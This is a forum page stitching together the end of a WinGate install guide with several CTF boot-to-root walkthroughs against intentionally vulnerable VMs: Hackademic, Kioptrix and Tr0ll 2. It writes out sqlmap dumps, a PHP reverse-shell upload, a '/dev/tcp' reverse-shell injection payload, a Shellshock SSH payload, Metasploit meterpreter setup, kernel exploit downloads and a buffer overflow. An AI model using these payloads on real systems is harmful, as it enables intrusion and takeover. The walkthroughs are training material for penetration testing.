![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-17BquEgID6Y/V5YXHPLH5sI/AAAAAAAAM_U/p6JFiEG3VWwnW8AD8MtcP_dbnVbzKIKjQCLcB/s1600/9.png?w=687&ssl=1)
To complete WinGate installation just click on Finish
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-gOFMm9EQ7_0/V5YXCTKz79I/AAAAAAAAM-c/1_iXbZYnW8AwV_I209027jJS4F396kAMACLcB/s1600/10.png?w=687&ssl=1)
After installing it will ask you computer to restart. Once the computer is restarted you will find WinGate in the hidden icons on the Taskbar.
Now right click on WinGate icon and select WinGate Management. After doing so, the WinGate management window will open. And then click on localhost.
After clicking on localhost, it will ask you whether you want to work with current windows or want to use another user.
Now click on use another user and it will ask you for username and password.
(I have given administrator as username and I have kept password blank)
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-vFG4zVl-rGU/V5YXDdfBqtI/AAAAAAAAM-w/bccIUM0Y8PwaQMLpxNCNk5_y40bPXb7ywCLcB/s1600/14.png?w=687&ssl=1)
Once you have given username and password click on OK. And so, the welcome panel of WinGate will open
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-T2qrO43zGMY/V5YXEH5dBEI/AAAAAAAAM-4/zcEdRCG3WWkiJE2oWNqyFGHbKR3YItZnwCLcB/s1600/15.png?w=687&ssl=1)
You can now start working with Wingate.
To learn how to set up a proxy server using Wingate, do wait for part-2.
Hello friends! Today we are going to solve a very simple and easy CTF challenge of the vulnhub. This is the first realistic hackademic challenge (root this box) by mr.pr0n. Download the target it from [To see content please register here] and get root.
Penetrating Methodologies- Network Scanning (Nmap, netdiscover)
- WordPress (CMS) based SQLMAP Scanning
- Extract databases and WordPress user credentials
- Login into the WordPress admin console with specific user
- Upload and execute a Reverse shell
- Reverse connection (Metasploit)
- Exploiting target (exploit 15285)
- Get Root access and capture the flag.
Let’s Start!!!
Start off with finding the target using:
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-QOwsxE8YF6s/W0mc4kccr_I/AAAAAAAAYCg/Q2Gzp05h8MI-vLy4easSN2-m20is63bPACEwYBhgL/s1600/1.png?w=687&ssl=1)
Our target is 192.168.1.104. Now scan the target with nmap :
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104
With the nmap scan, you can see the ports 80, 22 are open. Let’s target the port 80 first.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-MJyoUd0XLY8/W0mc557C6JI/AAAAAAAAYCk/-VkpICAX0esObDpVPBqEomytLy1yigfRACEwYBhgL/s1600/2.png?w=687&ssl=1)
Now we will browse the website with [To see content please register here] and a page will open as shown below in the image. Now click on the word target mentioned in “Please go to your target and try to get root”
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-dwFffQcEe2c/W0mc5y8CxyI/AAAAAAAAYCc/ePVcalXngUk4J7BSyvItVeMJCC_xDm7mgCEwYBhgL/s1600/3.png?w=687&ssl=1)
Upon clicking the target, below page will open [To see content please register here]
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ZZTbswbcGA8/W0mc6Xe51SI/AAAAAAAAYCo/6u7--6d6BQQZyxtC7V-8cw8WC92qd4l6QCEwYBhgL/s1600/4.png?w=687&ssl=1)
Navigate by clicking on Uncategorized it will redirect to below URL [To see content please register here]
Now let’s try to look for SQL injection by trying with a single quote (‘) and got the below error as shown in the image. With this, we also came to know that this is a WORDPRESS (CMS) website and it is vulnerable to SQL injection.
[To see content please register here] '
1
[To see content please register here] '
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ocgG88eijL0/W0mc6YyClJI/AAAAAAAAYCo/AmYlZpKMu7Q7tlGSxR1k2SIVGbw-U1NvgCEwYBhgL/s1600/5.png?w=687&ssl=1)
Now using the above URL, we will enumerate the databases with SQLMAP command to get more details
sqlmap –u [To see content please register here] --dbs --batch
1
sqlmap –u [To see content please register here] --dbs --batch
Note: Instead of SQLMAP, we can also run wpscan (WordPress scan) which will yield the same results
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-SUQ3T1G_ZPc/W0mc6RWuVAI/AAAAAAAAYCs/eQeWQgaz9_UUSXWgRXLfQZDUvWHFHOfggCEwYBhgL/s1600/6.png?w=687&ssl=1)
Upon successful completion of the SQLMAP scan, we came to know that the following databases listed are available in the website, and “WordPress” could be desired database name.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-AxmwT54gxXE/W0mc7OABGlI/AAAAAAAAYCo/UL65wODK8XsKG70OAHEl_rAGDa0v71cagCEwYBhgL/s1600/7.png?w=687&ssl=1)
Extract the user information from the WordPress database, using SQLMAP
sqlmap –u [To see content please register here] -D wordpress --dump-all --batch
1
sqlmap –u [To see content please register here] -D wordpress --dump-all --batch
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-S_yo5aZ1D80/W0mc7U-LwZI/AAAAAAAAYCs/A-OrYWS_YbMngHE9NcYIGvmQIgaxHn1PQCEwYBhgL/s1600/8.png?w=687&ssl=1)
SQLMAP will also automatically perform the password cracking of the users’ passwords
![[Image: 9.1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-TIF_S-rYQvA/W0mc7cFu32I/AAAAAAAAYCo/S75Mppdiq3E3W6ZVqU9No2mv8UldN6MFwCEwYBhgL/s1600/9.1.png?w=687&ssl=1)
Browsed the WordPress login page [To see content please register here] and logged in with above-mentioned usernames; however, got success with the user GeorgeMiller as observed that it has many options available in the admin panel as compared to other users’.It also has the privileges to add/modify the PHP script.
Upon logging into the URL with the credentials, Navigate to Manage à Files and modify the hello.php file. Replace the text with the content from the PHP reverse shell file (php-reverse-shell.php) available in the Kali Linux server at the path /usr/share/webshells/php.
Once it is copied to the hello.php file, click on Update file
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-336YFVgEWQ0/W0mc8J6_99I/AAAAAAAAYCw/A50eC3-8fA8ypng_0sbcf-bk-nqXOZLGgCEwYBhgL/s1600/9.png?w=687&ssl=1)
Access the URL
[To see content please register here]
1
[To see content please register here]
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-MIhayOY7uIo/W0mc4oPp2vI/AAAAAAAAYCo/lHeyjY_y_k8N0j4nT6PHcqnT_0283H2vQCEwYBhgL/s1600/10.png?w=687&ssl=1)
Ran the Netcat listener along with browsing the website URL again, upon which we got the initial/limited shell. Hereupon examining the Linux Kernel version we found that this could be vulnerable.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-MmC3Q_T4oZk/W0mc4jHk-KI/AAAAAAAAYCo/X7QJJJaea7E7hZdVsiotJ7e2HfRT32k9gCEwYBhgL/s1600/11.png?w=687&ssl=1)
Searched across the internet to found the privilege escalation exploit that might apply to the kernel version 2.6.31 found (as shown in the image above). The exploit that worked was the RDS privilege escalation and can also be found on Kali with searchsploit.
[To see content please register here]
1
[To see content please register here]
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-KbaprkleQHs/W0mc5L6ihhI/AAAAAAAAYCg/EKnDJHNb4EMYdeF6KUtKFWiYz804skT3QCEwYBhgL/s1600/12.png?w=687&ssl=1)
Run the command searchsploit 15285 and copy the file (15285.c) to the Kali desktop. We will also run the default Python HTTP Server on the Kali Linux.
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-JQEbsqMfFmY/W0mc5RjATrI/AAAAAAAAYCw/x-dbDSw2lEsgprrh5wdB5J6a8U8wkIlyQCEwYBhgL/s1600/13.png?w=687&ssl=1)
Now navigate to the tmp directory of victim machine and run the wget command to download the file from Kali. This will download the 15285.c file, into the /tmp directory of victim machine.
cd /tmp
wget [To see content please register here]
ls
1
2
3
cd /tmp
wget [To see content please register here]
ls
Once the file is listed under /tmp directory, run the following commands
gcc 15285.c –o kernel
chmod 777 kernel
1
2
gcc 15285.c –o kernel
chmod 777 kernel
![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-fOU0iGpeHC4/W0mc5c8Gi8I/AAAAAAAAYCw/5Npj76qa7o8SM8gjBvAY0BIjeZhALMcbACEwYBhgL/s1600/14.png?w=687&ssl=1)
Now run the kernel command as follows, and it will start to exploit the vulnerability
./kernel
1
./kernel
Once the execution of the kernel command stops, we will try to get into the root as follows and read the content of the directory
cd /root
ls
1
2
cd /root
ls
As you can see, now we are into the privileged shell and can also see key.txt file, open the same to get the credentials!
Hurrahhhhhh!!!! We hit the goal.
|
|
|
|
| [Guide] How to Hack The Kioptrix Level-1.1 (Boot2Root Challenge) |
|
Posted by: NINZA - 04-24-2020, 01:54 PM - Forum: General Discussion
- No Replies
|
 |
This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
You can Download it from [To see content please register here] and run install in your VM.
Lets start!!
Turn on your attacking machine and use netdiscover command to scan your local network to get target IP.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-NLNcQzT7FIc/WzSEwnVnKPI/AAAAAAAAXlo/fJi6zCh9nQADhTYx0n9ifDd3C1OrU41JACEwYBhgL/s1600/1.png?w=687&ssl=1)
So we target at 192.168.1.111 let go for its enumeration and scan open ports and protocols. With help nmap aggressive scan we have observe several open port and service running on it.
nmap -A 192.168.1.111
1
nmap -A 192.168.1.111
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-dkA_ZUH4Saw/WzSExA8YEBI/AAAAAAAAXls/y1e9-4UPT44YjQ5LzrkXqT_eBpVKgv7sQCEwYBhgL/s1600/2.png?w=687&ssl=1)
Since port was 80 open so we explored target IP in the web browser and notice following login page.
URL: [To see content please register here]
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-jLylhd8MSwQ/WzSExYSZneI/AAAAAAAAXl0/4rPA1l7sUdAJE_bIUMXA2nYYZBNfSEtfwCEwYBhgL/s1600/3.png?w=687&ssl=1)
Without wasting time we try following SQL injection in the given going form.
Username: 1' or '1'
Password: 1' or '1'
1
2
Username: 1' or '1'
Password: 1' or '1'
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-pyipifs0nHg/WzSExNHrekI/AAAAAAAAXmY/sM7NyGLhiaoXhesNR7K6tHCiVuT9z7g2gCEwYBhgL/s1600/4.png?w=687&ssl=1)
Great!!! We successfully login into Basic Administrative Web console where we found an empty text field for user input. Whenever I saw such type of scenario, I try to test it against command injection vulnerabilities.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-RpuYCAdNY5g/WzSEx5qQICI/AAAAAAAAXmY/6b3qw_ATCK0N0OCxVfCv19BaFbOtoup4wCEwYBhgL/s1600/5.png?w=687&ssl=1)
Therefore we submit ;id command to enumerate UID and GID of logged user.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-jYCe4wui5N4/WzSExv99tHI/AAAAAAAAXmU/pEVZ_ERq1gINGbyeRH4FEqNQKqRIm0DcwCEwYBhgL/s1600/6.png?w=687&ssl=1)
As result it dump apache’s UID and GID and hence by this it’s proof that this application is vulnerable to command Injection.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-rC09lCm4FQ8/WzSEyH-6dVI/AAAAAAAAXmQ/uQpvs5dJ7YY5NPe8TgOoSTLg_5ozwH8twCEwYBhgL/s1600/7.png?w=687&ssl=1)
In a new terminal we launch netcat revere connection shell to spawn victim’s tty shell. Then submit following payload as user input inside web application.
127.0.0.1; bash -i >& /dev/tcp/192.168.1.107/8888 0>&1
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Rh0XUoQQncE/WzSEyY-wgtI/AAAAAAAAXmc/9h4XV8MlC3Ai-a_BoH6kROFIoyix1VKBACEwYBhgL/s1600/8.png?w=687&ssl=1)
As soon as above payload will get submitted you get victim’s pty shell through netcat session.
Awesome!! You can see we had access victim’s command shell inside netcat, let’s penetrate it more for root access.
id
uname -a
1
2
id
uname -a
Then with help of Google we look for its Kernel exploit for privilege escalation and found Luckily “Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit” hence we can use 9542exploit for privilege escalation.
cd /tmp
wget [To see content please register here] --no-check-certificate
mv 9542 shell.c
1
2
3
cd /tmp
wget [To see content please register here] --no-check-certificate
mv 9542 shell.c
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-5RSPFIE_GVc/WzSEykjuRZI/AAAAAAAAXmc/N93BR20CQLQMoyZW0uY1UkAJ5InytlWpQCEwYBhgL/s1600/9.png?w=687&ssl=1)
gcc shell.c
./a.out
id
whoami
1
2
3
4
gcc shell.c
./a.out
id
whoami
B0000MM!! Here we have command shell of victim’s machine with root access.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-z_-DPyYiOAg/WzSEwZaFpZI/AAAAAAAAXmM/X1-TqcYZNb0e7Nj0rRLuJ89DHyETqbPnQCEwYBhgL/s1600/10.png?w=687&ssl=1)
Hello everyone and welcome to this CTF challenge. This is the next part to Tr0ll by Maleus. You can download the lab from [To see content please register here] . The objective of this lab is to get root and capture the flag.
The level of this challenge is not so tough and its difficulty level is described as beginner/intermediate.
Penetrating Methodologies - Network scanning (Nmap, Netdiscover)
- Information Gathering
- Analyzing web source code
- Get robort.txt
- Directory enumeration with the help of robots.txt (Dirb)
- Found encoded answer.txt file
- Decoding base64 text file
- FTP login for Zip file
- Cracking zip file (Fcrackzip)
- Exploiting shellshock to get a shell in bash.
- Spwan tty shell (Metasploit)
- Privilege escalation
- Finding vulnerable binary
- Finding EIP offset
- Exploiting buffer overflow
- Getting the root flag
So, let’s get started!
The first step is as always, IP grabbing. In my case, the IP was 192.168.1.131. Use the following command to grab the IP :
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-HkoqRgEc920/W2GaTjvfT5I/AAAAAAAAZBI/leLCxQJ4JuMhvFBp_ETqOSJzBZRGt3wzwCLcBGAs/s1600/1.png?w=687&ssl=1)
Next step was port scanning and the discovery of open ports using nmap.
nmap -A 192.168.1.131
1
nmap -A 192.168.1.131
And we found 3 ports open- 21, 22, 80; with the service of FTP, SSH, and HTTP respectively.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-l7JeYrdqrVo/W2GaWCF_VxI/AAAAAAAAZB0/TWehooxmPtkoBQmiOoOta2ZnrDvAKuvUQCEwYBhgL/s1600/2.png?w=687&ssl=1)
So, we tried to open the IP in the browser to see what was in the web page and sure as hell, that troll face again! It really did live up to its name after all!
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-VdfOTe5-_h4/W2GaYIQGM_I/AAAAAAAAZCc/tchx_cwu57c1zlhqnj52_HTtY5pTJtuWwCEwYBhgL/s1600/3.png?w=687&ssl=1)
So, we opened the home page’s source code using curl:
curl [To see content please register here]
1
curl [To see content please register here]
![[Image: 4.1.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-xW6zlpg_tfg/W2GaZE61ulI/AAAAAAAAZCo/xS_16RB1Vj4jn1w_nMrsuAhq2XUFg2m0wCEwYBhgL/s1600/4.1.png?w=687&ssl=1)
We, then enumerated the IP using dirb to find something interesting and something did catch our eyes—robots.txt
dirb [To see content please register here]
1
dirb [To see content please register here]
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-oEvleVNtPF4/W2GaZHaXooI/AAAAAAAAZCs/CJPtRVtjhLQ0d1EwkFiuPhJqa_qh71xnQCEwYBhgL/s1600/4.png?w=687&ssl=1)
Therefore, we opened robots.txt in the web browser and we saw a lot of directory names.
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-hqqtHTnUFEI/W2GaZgDU5-I/AAAAAAAAZCw/8LwdyZ4FabM34ubwsnTqq7Eu_cDHTC36ACEwYBhgL/s1600/5.png?w=687&ssl=1)
So, we downloaded robots.txt using wget and tried to make a dictionary out of it in hope that we find something good in one of them.
wget [To see content please register here]
nano robots.txt
1
2
wget [To see content please register here]
nano robots.txt
(Removed the ‘/’ from each line and saved it)
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-rZ9PlpvQ1gc/W2GaZkSY76I/AAAAAAAAZC0/3zMDFIY-VyY9fuO5q1mo1cK1S3OzD542wCEwYBhgL/s1600/6.png?w=687&ssl=1)
Enumerating it again with the custom dictionary we just made, few other directories were found.
dirb [To see content please register here] robots.txt
1
dirb [To see content please register here] robots.txt
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-g6C4dHKwJiI/W2GaZxSMBNI/AAAAAAAAZC4/1q_azlBRr0AcrtKvCdh6u7VICo1Od1u4QCEwYBhgL/s1600/7.png?w=687&ssl=1)
So, we hit each directory on the browser and inspected each image since there was nothing else to play within the directories.
One by one we started searching each directory but nothing appealed to us. It all had the same troll image.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Vs6IrY1KUf0/W2GaaJKAVpI/AAAAAAAAZC8/F-dZZ-EzypQOcQmctmSDn-gwx7ZhLd-ngCEwYBhgL/s1600/8.png?w=687&ssl=1)
We checked the source code of the page but nothing seemed good.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-eNAv0K_mvGc/W2GaaIyNKnI/AAAAAAAAZDA/gd40rh80ua8wc01NtUUiU-S_k6jfwDcWwCEwYBhgL/s1600/9.png?w=687&ssl=1)
Hence, we downloaded cat_the_troll.jpg from each directory but one such directory called dont_bother had something interesting in its image.
wget [To see content please register here]
1
wget [To see content please register here]
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-R8lZKczS0xw/W2GaTmVsvQI/AAAAAAAAZBM/OXtfKT99hlcNAuDEfgC5uLwMLWNeuqnlQCEwYBhgL/s1600/10.png?w=687&ssl=1)
We read the last three lines of the image’s coding using tail command:
tail –n 3 cat_the_troll.jpg
1
tail –n 3 cat_the_troll.jpg
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-O52O26wlTo8/W2GaT1eCL1I/AAAAAAAAZBQ/ll5T5mXmJ08RWFzfVNHpv5KPmfOLdxH4ACEwYBhgL/s1600/11.png?w=687&ssl=1)
The code really said to look deep within “y0ur_self” to find the answer. Could it be a directory? let’s find out.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/--rGBjcDYU3Q/W2GaUSX77gI/AAAAAAAAZBU/ZwhzEeHWRHwD7s2Bl5kwdOnkS4eBqKW3gCEwYBhgL/s1600/12.png?w=687&ssl=1)
Voila! It indeed is a directory and really has an answer in it. But on opening answer.txt, the dictionary seemed to be base64 encoded.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Humg3T2JV48/W2GaUj1iDlI/AAAAAAAAZDE/EzdMeHTeQnkzx3Pkt5KLHygPttUZUV1uwCEwYBhgL/s1600/13.png?w=687&ssl=1)
We again downloaded the answer.txt file using wget and decoded it into a new file decoded.txt
wget [To see content please register here]
1
wget [To see content please register here]
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-OPaMcTijHMA/W2GaUj1-qcI/AAAAAAAAZBc/bgZsvCkQbwQjAzz5aZ__YcVO8HMkJVJHwCEwYBhgL/s1600/14.png?w=687&ssl=1)
Decoded it using:
base64 -d answer.txt>decoded.txt
1
base64 -d answer.txt>decoded.txt
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-sBgtTT50oLk/W2GaUzlY6EI/AAAAAAAAZBg/lLpCvT_KwkQTJef3vT7RkBU_NLx5LwxSQCEwYBhgL/s1600/15.png?w=687&ssl=1)
Let’s save this dictionary for future use and move on to another port we discovered—the FTP port.
We had no idea of the username and password and neither was there any password or username file found.
But remember the very first source code we viewed? It had the author name Tr0ll.
Could that be the username and default password for FTP?
It was a complete hit and try method but we successfully got logged in!
ftp 192.168.1.131
ls
get lmao.zip
1
2
3
ftp 192.168.1.131
ls
get lmao.zip
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-KTw2sxYx0dQ/W2GaVEgasyI/AAAAAAAAZBk/ISBJdklsusc8MsME_FXSURPi1IiBOO0rQCEwYBhgL/s1600/16.png?w=687&ssl=1)
We found a zip file “lmao.zip” in FTP. But the zip had password protection.
Wait… what about the file we just decoded? Could it have a password for the zip file?
fcrackzip –u –D –p decoded.txt lmao.zip
1
fcrackzip –u –D –p decoded.txt lmao.zip
We found the password!. Let’s unzip the file now.
unzip lmao.zip
1
unzip lmao.zip
And enter the password: ItCantReallybeThisEasyRightLOL
![[Image: 17.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-2yu1mH7O0xc/W2GaVnM09rI/AAAAAAAAZBo/p1UUHd-BCfI11DsbUI4T6vn_CisQTMZIwCEwYBhgL/s1600/17.png?w=687&ssl=1)
We had a high curiosity about the file “noob”.
cat noob
Turned out, it was an RSA key to SSH
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-22JX5pRWMng/W2GaVlqUsDI/AAAAAAAAZDE/gI9uehs6cOI2lffTSQ-GoO_ymg3xr65WQCEwYBhgL/s1600/18.png?w=687&ssl=1)
Without any delay, we tried to login to SSH using this RSA key but we got trolled, yet again!
chmod 600 noob
ssh –i noob [email protected]
1
2
chmod 600 noob
ssh –i noob [email protected]
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-DgreLCKBXec/W2GaV8ptR_I/AAAAAAAAZBw/Gaptgd9npSMOqmLxO_Bxww0eyB8w6IF7wCEwYBhgL/s1600/19.png?w=687&ssl=1)
A complete arrow in the dark was to exploit shellshock vulnerability in SSH. So, we tried the command:
ssh –i noob [email protected] '() ( : ;}; /bin/bash'
1
ssh –i noob [email protected] '() ( : ;}; /bin/bash'
And we got logged in!
id
1
id
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-LbBXmat_x3g/W2GaWCmmd8I/AAAAAAAAZB4/2qox-WWKDEAUfd7ENtinZjZ_pcqOFQvggCEwYBhgL/s1600/20.png?w=687&ssl=1)
But it isn’t a proper teletype. We used web delivery in Metasploit to create a python shell to get a proper meterpreter session.
msf > use multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.132
msf exploit(multi/script/web_delivery) > set lport 4444
msf exploit(multi/script/web_delivery) > run
1
2
3
4
5
msf > use multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.132
msf exploit(multi/script/web_delivery) > set lport 4444
msf exploit(multi/script/web_delivery) > run
![[Image: 21.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-mctwU3pPDcc/W2GaWudIFuI/AAAAAAAAZB8/dCk1ZyIg0uYd4LWbCsqRtQ6O8dCQTsF1ACEwYBhgL/s1600/21.png?w=687&ssl=1)
We copied above-generated python code to the improper bash we just created.
![[Image: 22.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-V702QlFzghk/W2GaWtSTDzI/AAAAAAAAZCA/Sb9VqUzEaJkFSOei-21l3W9Ug8ufAId8wCEwYBhgL/s1600/22.png?w=687&ssl=1)
On the other hand, we had got a meterpreter session.
sysinfo
1
sysinfo
![[Image: 23.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-IOj104WULWA/W2GaW3sBiYI/AAAAAAAAZCE/cU94x3aePSMnvFyHwhPaNNNlzoVaX17TwCEwYBhgL/s1600/23.png?w=687&ssl=1)
Let’s get into the shell and try to spawn a proper teletype.
shell
python –c "import pty;pty.spawn('/bin/bash');"
find / -perm -4000 2>/dev/null
1
2
3
shell
python –c "import pty;pty.spawn('/bin/bash');"
find / -perm -4000 2>/dev/null
![[Image: 24.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-M11LcTF74vQ/W2GaXFoSvpI/AAAAAAAAZCI/5Ng1ZUw-8dwLko-SHlJ0mNkG_VzHibOxgCEwYBhgL/s1600/24.png?w=687&ssl=1)
The r00t binary in these directory work differently and change their behavior with each other on every reboot. One of these binaries (in our case it was in door2, it changes on reboot) accept a string as an argument and print it.
![[Image: 25.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-PLL8ztseE7w/W2GaXH4NYDI/AAAAAAAAZCM/GNKfPTEdbMs0ZwCjl6Av3reQVXVuZdu6QCEwYBhgL/s1600/25.png?w=687&ssl=1)
We open the binary in gdb debugger to look at the assembly code for the binary. At main+71 we find a strcpy function, as the strcpy function is vulnerable to buffer overflow we try to exploit it.
![[Image: 26.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-5hglzlZh020/W2GaXrHy7BI/AAAAAAAAZCQ/4G7Gwexu9xQL0arQrtNu3He7f7a26lLiwCEwYBhgL/s1600/26.png?w=687&ssl=1)
First, we create a 500 bytes long string to find the EIP offset using a pattern_create script.
./pattern_create.rb -l 500
1
./pattern_create.rb -l 500
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-zbg0AGOMDw0/W2GaXhnd-OI/AAAAAAAAZCU/XU_RsrilSmwbSqjRNHmUNqq4LDcrRc0oQCEwYBhgL/s1600/27.png?w=687&ssl=1)
We run the file in gdb along with the 500-byte character as the argument and find that the EIP register was overwritten with 0x6a413969.
![[Image: 28.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-8mAnfIdPQZk/W2GaYDGJNKI/AAAAAAAAZCY/tzLYClAW8KcHNKvAcTcyqYiyGzdZK9CvACEwYBhgL/s1600/28.png?w=687&ssl=1)
We pass that into /usr/share/metasploit-framework/tools/pattern_offset.rb, we get an offset of 268. So we need to write 268 characters and then write the address of the instructions we want to be executed.
./pattern_offset.rb -q 6a413969
1
./pattern_offset.rb -q 6a413969
![[Image: 30.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-b2PPiUMJ1ck/W2GaYUfR1EI/AAAAAAAAZCg/zjTBw3OYgFwErx-xe49te30DykP2SzhjACEwYBhgL/s1600/30.png?w=687&ssl=1)
After getting the offset we find the ESP and find it to be 0xbffffc70 but we create our own exploit and execute it. But we get an error with illegal instruction that is because gdb has a different environment. Now, we remove 1 byte and take the ESP to be 0xbffffc80. We run the binary code by ignoring the environment along the exploit as per the argument. As soon as we execute the exploit we get a spawn a shell as root, and then when you open the /root directory and find a file called Proof.txt. When you take a look at the content of the files and find the final flag.
![[Image: 31.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-FzHIC1N0Ch0/W2GaY9Z04_I/AAAAAAAAZCk/jqYTPr1eXUwnRif6YaNwe9vsOCvJXzaeACEwYBhgL/s1600/31.png?w=687&ssl=1)
This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
You can Download it from [To see content please register here] and run install in your VM.
Table of content- Network scaning
- Enumeration
- Exploitation
- Root access
Lets start!!
Turn on your attacking machine and use netdiscover command to scan your local network to get target IP.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-Xmse-9Ug0qk/WzSCj-G0YSI/AAAAAAAAXlI/t4jH7vMrhDEar5zzC-3Wo9kX_NxY6rPdACEwYBhgL/s1600/1.png?w=687&ssl=1)
So we target at 192.168.1.109 let go for its enumeration and scan open ports and protocols. With help nmap aggressive scan we have observe several open port and service running on it.
nmap -A 192.168.1.109
1
nmap -A 192.168.1.109
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-N4pZspGpnTE/WzSCj0jzBiI/AAAAAAAAXlE/vYCsI4AjzeM2ZLJJw8EKRcVyjcT37TmCwCEwYBhgL/s1600/2.png?w=687&ssl=1)
We also use Nikto for scanning vulnerability with help of following command:
nikto -h [To see content please register here]
1
nikto -h [To see content please register here]
It was very good to see the multiple vulnerability present in this lab.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-NOV2-K92Nzk/WzSCj56tMuI/AAAAAAAAXlA/qgLuBhxVAcQQsXRn8ej3YKLHnniF4GcCACEwYBhgL/s1600/3.png?w=687&ssl=1)
Since with help of above enumeration it becomes clear that the lab can exploit in multiple therefore without wasting time we execute following command with help of metasploit and try to comprise target’s VM machine.
This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of exploiting the flaw on x86 Linux systems that do not have the noexec stack option set. NOTE: Some older versions of RedHat do not seem to be vulnerable since they apparently do not allow anonymous access to IPC.
use exploit/linux/samba/trans2open
msf exploit(linux/samba/trans2open) > set rhost 192.168.1.109
